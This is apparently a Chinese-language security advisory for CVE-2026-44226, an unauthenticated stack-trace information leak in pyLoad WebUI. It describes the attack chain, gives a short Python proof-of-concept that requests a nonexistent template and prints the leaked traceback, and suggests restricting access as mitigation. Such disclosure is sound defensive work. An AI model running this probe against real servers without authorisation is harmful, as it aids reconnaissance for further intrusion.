IPBUF安全漏洞报告
English
CVE-2026-44226 CVSS 5.3 中危

CVE-2026-44226 pyLoad信息泄露漏洞

披露日期: 2026-05-11

漏洞信息

漏洞编号
CVE-2026-44226
漏洞类型
信息泄露
CVSS评分
5.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
pyLoad (pyload-ng)

相关标签

信息泄露pyLoadPython Traceback未授权访问

漏洞概述

pyLoad (pyload-ng) WebUI在0.5.0b3.dev100之前版本存在信息泄露漏洞。未授权用户可通过访问无需认证的/web/<path:filename>路径并发送特定请求(如请求不存在的模板),触发服务器异常并获取完整的Python堆栈跟踪信息,导致敏感信息泄露。

技术细节

该漏洞源于pyLoad WebUI对异常处理机制的不当实现。在受影响版本中,路由/web/<path:filename>设计上允许未经身份验证的访问,并且直接使用用户提供的路径参数作为模板名称进行渲染。当攻击者构造并发送一个指向不存在模板文件的请求时,应用程序无法成功渲染该模板,从而触发未捕获的Python异常。由于系统未对错误详情进行过滤,直接将完整的堆栈跟踪信息(包含文件路径、依赖库版本及具体代码逻辑)返回至HTTP响应中。这使得攻击者能够收集服务器内部敏感信息,辅助后续攻击。

攻击链分析

STEP 1
1. 信息收集
攻击者发现目标运行pyLoad服务,并识别出其WebUI接口。
STEP 2
2. 发送恶意请求
攻击者向无需认证的/web/路径发送请求,并在路径中指定一个不存在的模板文件名。
STEP 3
3. 触发异常
服务器尝试渲染不存在的模板失败,抛出未处理的异常。
STEP 4
4. 获取敏感信息
服务器将包含详细堆栈跟踪的错误页面返回给攻击者,泄露服务器内部路径和版本信息。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests def check_poc(url): # Construct the malicious path to trigger a template error target = f"{url.rstrip('/')}/web/non_existent_template.html" try: response = requests.get(target, timeout=5) # Check if Python traceback is present in the response if "Traceback (most recent call last):" in response.text: print(f"[+] Vulnerability confirmed at {target}") print("[+] Stack trace leaked:") print(response.text[:500]) # Print first 500 chars else: print("[-] Vulnerability not detected or patched.") except Exception as e: print(f"Error: {e}") if __name__ == "__main__": target_url = "http://127.0.0.1:8000" # Replace with actual target check_poc(target_url)

影响范围

pyLoad (pyload-ng) < 0.5.0b3.dev100

防御指南

临时缓解措施
建议在未升级修复前,通过防火墙或反向代理规则限制外部对pyLoad WebUI的访问,仅允许可信IP地址连接。

参考链接